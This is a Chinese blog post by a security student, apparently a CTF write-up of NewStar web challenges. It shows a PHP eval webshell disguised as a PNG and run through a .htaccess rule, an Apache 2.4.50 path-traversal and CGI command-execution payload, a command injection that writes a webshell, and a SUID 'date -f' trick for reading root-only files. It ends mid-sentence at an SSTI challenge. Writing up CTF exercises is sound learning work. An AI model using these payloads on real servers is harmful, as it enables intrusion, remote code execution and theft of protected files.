一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了。
2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程
Give me your photo PLZ
任意文件上传?直接来个直球:
这时候我懒得搞直接尝试上传配置文件了。。没想到竟然上传成功了:
<FilesMatch "test1.png">
SetHandler application/x-httpd-php
</FilesMatch>
上传个test1.png看看:
GIF89a
<script language='php'>@eval($_POST['viper']);</script>
<script language='php'>@eval($_GET['notbad']);</script>
不回显上传路径就F12看网络,查查这东西传到哪去了:
访问http://aaa01a0a-38c2-4b57-a1b2-54a4ce580100.node4.buuoj.cn:81/upload/test1.png
回显了欺骗头,直接蚁剑连:
看flag:
可惜,它说在env里,那就给viper传个phpinfo();看environment里有啥东西:
得到flag。
Unsafe Apache
看源码啥也没有,burpsuite抓下包看看啥情况:
response包里提示了版本:Apache/2.4.50,根据题目直接找这个版本的Apache有啥漏洞:
https://www.cnblogs.com/RichardYg/p/16272796.html//参考了这位师傅的文章,感谢
看了一下这东西可以通过目录穿越去读除了web目录之外的文件,直接用现成的payload:
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
读了etc/passwd?
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;cat /ffffllllaaagggg_cc084c485d;
这题感觉根本没做明白。。就是找现成的命令放上去了。。
So Baby RCE Again
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]); //只执行但不回显
}
}else{
show_source(__FILE__);
}
可以在命令后添加一个>重定向符把输出存到某个文件中,这个文件默认路径就是当前目录,比如:
echo '11111<?php @eval($_POST[1])?>' > webshell.php
会把这东西存到webshell.php中,默认路径就是当前目录,然后直接在当前目录访问webshell.php就行了。
/?cmd=ls -al / > viper3.txt
访问viper3.txt:
有个ffll444aaggg,直接cat读:
/?cmd=cat /ffll444aaggg > txy.txt
txy.txt啥也没有。。后来看了wp才知道没权限读,回过头看下ls -al /
后和ffll444aaggg的权限都是啥:
-rwx------ 1 root root 43 Sep 13 11:17 ffll444aaggg
第一个-意思是它是个文件,如果是d的话就是目录了。r、w、x分别代表读、写、执行的权限(后面九位分别是所有者、除所有者外的同组人员、组外人员)。根用户权限最大,对根用户限制没啥用。目前看是没权限读这个文件的。
感谢这位师傅的wp:
https://mochu.blog.csdn.net/article/details/127354492?spm=1001.2014.3001.5502
了解了一下SUID提权,先放上SUID和SUID提权的概念(问的GPT),以及鸟叔的Linux私房菜里的一些解释:
看下shadow和passwd这俩东西的权限:
说说我这个小白的个人理解:ffll444aaggg只让根用户root读写执行其它用户没这权限。但如果某个可执行文件具有SUID权限时,普通用户执行它就会临时"变成"根用户,进而执行某些命令。那我可以去找拥有SUID的某个可执行文件,然后执行它去读ffll444aaggg这东西。
/?cmd=find / -perm -u=s -type f 2>/dev/null>123.txt //查看具有SUID权限的命令
结果:
师傅们的wp里都说用这个date命令:
date -f命令:
这东西是个根据内容读出日期的命令,比如我用vim写个东西:
vim /home/viper3/hellodajia.txt
内容:
2023-9-11 15:15:15
然后 按esc 输入 :wp
然后
date -f /home/viper3/hellodajia.txt
他会出这种东西
那让他读一些非时间的文件呢?比如hello.txt的内容是:
hello world!
yes
no
whyA
date -f /home/viper3.hello.txt看看结果:
这东西以报错的形式把文档内容读出来了。
所以我们可以用date -f 命令去读某些东西。
?cmd=date -f /ffll444aaggg 2> 9.txt //注意这里要用错误重定向,我个人理解是因为这东西要依靠报错把内容读出来
结果:
BabySSTI_Three
先看看是啥模板,根据前两题经验直接/?name={{7*'7'}}
7个7,还是Jinja2。
尝试了一下这题是在前两题上新增了过滤:应该只增加了冒号(